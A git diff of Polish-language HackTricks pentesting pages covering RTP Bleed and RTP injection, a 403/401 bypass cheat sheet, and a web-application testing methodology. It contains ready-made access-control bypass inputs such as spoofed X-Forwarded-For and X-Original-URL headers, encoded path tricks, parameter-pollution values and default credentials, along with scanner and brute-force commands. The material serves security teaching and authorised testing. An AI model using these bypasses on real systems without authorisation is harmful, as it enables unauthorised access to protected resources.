Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala ona atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
|
||||
Proxysy RTP próbują rozwiązać **ograniczenia NAT**, które wpływają na systemy RTC, poprzez proxyzowanie strumieni RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala ona atakującym na odbieranie strumieni mediów RTP, które mają być wysyłane do legalnych użytkowników.
|
||||
|
||||
Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala on na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta wrażliwość może występować zarówno w proxy RTP, jak i w punktach końcowych.
|
||||
|
||||
|
@ -646,7 +647,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
|
|
@ -6,10 +6,10 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
@ -17,9 +17,9 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -29,13 +29,13 @@ Spróbuj użyć **różnych metod** do uzyskania dostępu do pliku: `GET, HEAD,
|
|||
|
||||
* Sprawdź nagłówki odpowiedzi, może być podana jakaś informacja. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **metoda HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksportowanie tych informacji.
|
||||
* Użycie nagłówka HTTP, takiego jak `X-HTTP-Method-Override: PUT`, może nadpisać używaną metodę.
|
||||
* Użyj **`TRACE`** i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie serwery proxy**, które mogą być przydatne.
|
||||
* Użyj **`TRACE`** i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie proxy**, które mogą być przydatne.
|
||||
|
||||
## Fuzzing nagłówków HTTP
|
||||
|
||||
* **Zmień nagłówek Host** na jakąś dowolną wartość ([to zadziałało tutaj](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* **Zmień nagłówek Host** na dowolną wartość ([to zadziałało tutaj](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* Spróbuj [**użyć innych User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) do uzyskania dostępu do zasobu.
|
||||
* **Fuzz nagłówków HTTP**: Spróbuj użyć nagłówków proxy HTTP, podstawowego uwierzytelniania HTTP i NTLM brute-force (tylko z kilkoma kombinacjami) oraz innych technik. W tym celu stworzyłem narzędzie [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
* **Fuzz nagłówków HTTP**: Spróbuj użyć nagłówków HTTP Proxy, podstawowego uwierzytelniania HTTP i NTLM brute-force (tylko z kilkoma kombinacjami) oraz innych technik. W tym celu stworzyłem narzędzie [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
* `X-Forwarded-For: 127.0.0.1`
|
||||
|
@ -55,9 +55,9 @@ Jeśli **ścieżka jest chroniona**, możesz spróbować obejść ochronę ście
|
|||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* Jeśli strona jest **za proxy**, może to proxy uniemożliwiać ci dostęp do prywatnych informacji. Spróbuj nadużyć [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **lub** [**nagłówków hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Jeśli strona jest **za proxy**, może to proxy uniemożliwiać dostęp do prywatnych informacji. Spróbuj nadużyć [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **lub** [**nagłówków hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**specjalne nagłówki HTTP**](special-http-headers.md), szukając różnych odpowiedzi.
|
||||
* **Fuzz specjalne nagłówki HTTP** podczas fuzzingu **metod HTTP**.
|
||||
* **Fuzzuj specjalne nagłówki HTTP**, podczas fuzzowania **metod HTTP**.
|
||||
* **Usuń nagłówek Host** i może uda ci się obejść ochronę.
|
||||
|
||||
## Fuzzing **ścieżki**
|
||||
|
@ -65,7 +65,7 @@ Jeśli **ścieżka jest chroniona**, możesz spróbować obejść ochronę ście
|
|||
Jeśli _/path_ jest zablokowane:
|
||||
|
||||
* Spróbuj użyć _**/**_**%2e/path \_(jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj także**\_\*\* /%252e\*\*/path (podwójne kodowanie URL)
|
||||
* Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i może już udało ci się obejść kontrolę nazwy _/path_
|
||||
* Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i może już udało ci się obejść sprawdzanie nazwy _/path_
|
||||
* **Inne obejścia ścieżki**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
|
@ -88,8 +88,8 @@ Jeśli _/path_ jest zablokowane:
|
|||
* {“id”:\[111]} --> 200 OK
|
||||
* {“id”:111} --> 401 Unauthorized
|
||||
* {“id”:{“id”:111\}} --> 200 OK
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution)
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Zanieczyszczenie parametru JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Zanieczyszczenie parametru)
|
||||
|
||||
## **Manipulacja parametrami**
|
||||
|
||||
|
@ -140,9 +140,9 @@ guest guest
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -152,11 +152,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Usługa webowa jest najczęściej **wspólną i rozległą usługą**, a wiele **różnych typów luk w zabezpieczeniach** istnieje.
|
||||
Usługa webowa jest najczęściej **wspólną i rozległą usługą** i istnieje wiele **różnych typów luk w zabezpieczeniach**.
|
||||
|
||||
**Domyślny port:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -54,12 +54,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Jakieś **specjalistyczne skanery** do uruchomienia (jak wpscan)?
|
||||
* [ ] Uruchom **ogólne skanery**. Nigdy nie wiesz, czy znajdą coś interesującego.
|
||||
* [ ] Zacznij od **wstępnych kontroli**: **robots**, **sitemap**, **błąd 404** i **skanowanie SSL/TLS** (jeśli HTTPS).
|
||||
* [ ] Zacznij **spiderować** stronę internetową: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być spiderowany._
|
||||
* [ ] Zacznij **spidering** strony internetowej: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być on spiderowany._
|
||||
* [ ] **Brute-Forcing katalogów**: Spróbuj przeprowadzić brute force na wszystkich odkrytych folderach w poszukiwaniu nowych **plików** i **katalogów**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być Brute-Forced._
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być on Brute-Forced._
|
||||
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy możesz znaleźć **kopie zapasowe** **odkrytych plików**, dodając powszechne rozszerzenia kopii zapasowych.
|
||||
* [ ] **Brute-Force parametrów**: Spróbuj **znaleźć ukryte parametry**.
|
||||
* [ ] **Brute-Force parametry**: Spróbuj **znaleźć ukryte parametry**.
|
||||
* [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym.
|
||||
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
|
@ -126,8 +126,8 @@ Jeśli aplikacja webowa korzysta z jakiejkolwiek znanej **technologii/platformy
|
|||
|
||||
If the **source code** of the application is available in **github**, apart of performing by **your own a White box test** of the application there is **some information** that could be **useful** for the current **Black-Box testing**:
|
||||
|
||||
* Czy istnieje **Change-log lub Readme lub Version** file lub cokolwiek z **informacjami o wersji dostępnymi** przez internet?
|
||||
* Jak i gdzie są przechowywane **dane logowania**? Czy istnieje jakikolwiek (dostępny?) **plik** z danymi logowania (nazwy użytkowników lub hasła)?
|
||||
* Czy istnieje plik **Change-log lub Readme lub Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez sieć?
|
||||
* Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
||||
* Czy **hasła** są w **czystym tekście**, **szyfrowane** czy jaki **algorytm haszujący** jest używany?
|
||||
* Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany?
|
||||
* Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś lukę?
|
||||
|
@ -166,9 +166,9 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli jakiekolwiek dane są podane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
|
||||
> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli jakiekolwiek dane są podane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, mogłeś nawet znaleźć CMS i uruchomić jakiś skaner.
|
||||
|
||||
## Krok po kroku Odkrywanie Aplikacji Webowej
|
||||
## Krok po kroku Odkrywanie aplikacji webowej
|
||||
|
||||
> Od tego momentu zaczniemy interakcję z aplikacją webową.
|
||||
|
||||
|
@ -189,7 +189,7 @@ Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do n
|
|||
|
||||
* Uzyskaj dostęp do **fałszywych stron** jak /whatever\_fake.php (.aspx,.html,.itd)
|
||||
* **Dodaj "\[]", "]]" i "\[\["** w **wartościach cookie** i **wartościach parametrów**, aby stworzyć błędy
|
||||
* Wygeneruj błąd, podając dane jako **`/~randomthing/%s`** na **końcu** **URL**
|
||||
* Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
|
||||
* Spróbuj **różnych metod HTTP** jak PATCH, DEBUG lub błędnych jak FAKE
|
||||
|
||||
#### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
@ -213,7 +213,7 @@ Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh), aby sprawdzić *
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Informacje o lukach SSL/TLS:
|
||||
Informacje o lukach w SSL/TLS:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
@ -237,27 +237,27 @@ Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak
|
|||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dany plik (HTML) wyodrębni z niego adresy URL, używając sprytnych wyrażeń regularnych do znajdowania i wyodrębniania względnych adresów URL z brzydkich (minifikowanych) plików.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbieraj interesujące informacje z plików JS, używając kilku narzędzi.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Załaduj stronę w bezgłowym przeglądarku i wydrukuj wszystkie załadowane adresy URL.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Załaduj stronę w bezgłowym przeglądarku i wydrukuj wszystkie załadowane adresy URL, aby załadować stronę.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści, łączące kilka opcji poprzednich narzędzi.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, uzyska dla Ciebie zbeatyfikowany kod JS.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): To narzędzie służy do odkrywania punktów końcowych dla danego celu.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regularnych.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając konkretnych wyrażeń regularnych.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów w dziedzinie cyberbezpieczeństwa.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **rozszerzenie Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu stworzenia niestandardowej listy słów do fuzzingu i enumeracji.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **rozszerzenie Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania, aby stworzyć niestandardową listę słów do fuzzingu i enumeracji.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda mu się znaleźć.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda się znaleźć.
|
||||
|
||||
### Brute Force katalogów i plików
|
||||
|
||||
Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcujesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
|
||||
Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcujesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić brute-forcing **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
|
||||
Narzędzia:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na auto-podpisane certyfikaty i przeszukiwanie rekursywne. Zbyt wolne w porównaniu do innych opcji.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** pozwala na przeszukiwanie rekursywne.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-podpisane certyfikaty, **nie ma** **przeszukiwania** **rekursywnego**.
|
||||
* **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i przeszukiwanie rekursywne. Zbyt wolne w porównaniu do innych opcji.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** umożliwia przeszukiwanie rekursywne.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Umożliwia auto-podpisane certyfikaty, **nie ma** **przeszukiwania** **rekursywnego**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera przeszukiwanie rekursywne.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
|
@ -285,13 +285,13 @@ Narzędzia:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._
|
||||
_Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._
|
||||
|
||||
### Co sprawdzić w każdym znalezionym pliku
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki w HTML, które mogą być podatne na przejęcia.
|
||||
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa kopii zapasowej to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukiwać** ukryte parametry w każdym wykonywalnym pliku webowym.
|
||||
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym.
|
||||
* _Arjun wszystkie domyślne listy słów:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
|
@ -302,7 +302,7 @@ _Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-for
|
|||
* Klucze API Google: Jeśli znajdziesz jakikolwiek klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do jakich API klucz ma dostęp.
|
||||
* **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomen** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/).
|
||||
|
||||
### Specjalne odkrycia
|
||||
### Specjalne znaleziska
|
||||
|
||||
**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
||||
|
||||
|
@ -312,7 +312,7 @@ _Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-for
|
|||
* [Jeśli znajdziesz plik _**.git**_, można wyodrębnić pewne informacje](git.md).
|
||||
* Jeśli znajdziesz _**.env**_, można znaleźć takie informacje jak klucze API, hasła do baz danych i inne informacje.
|
||||
* Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają jak" one.
|
||||
* **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębniać ścieżki z plików JS. Również, interesujące byłoby **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
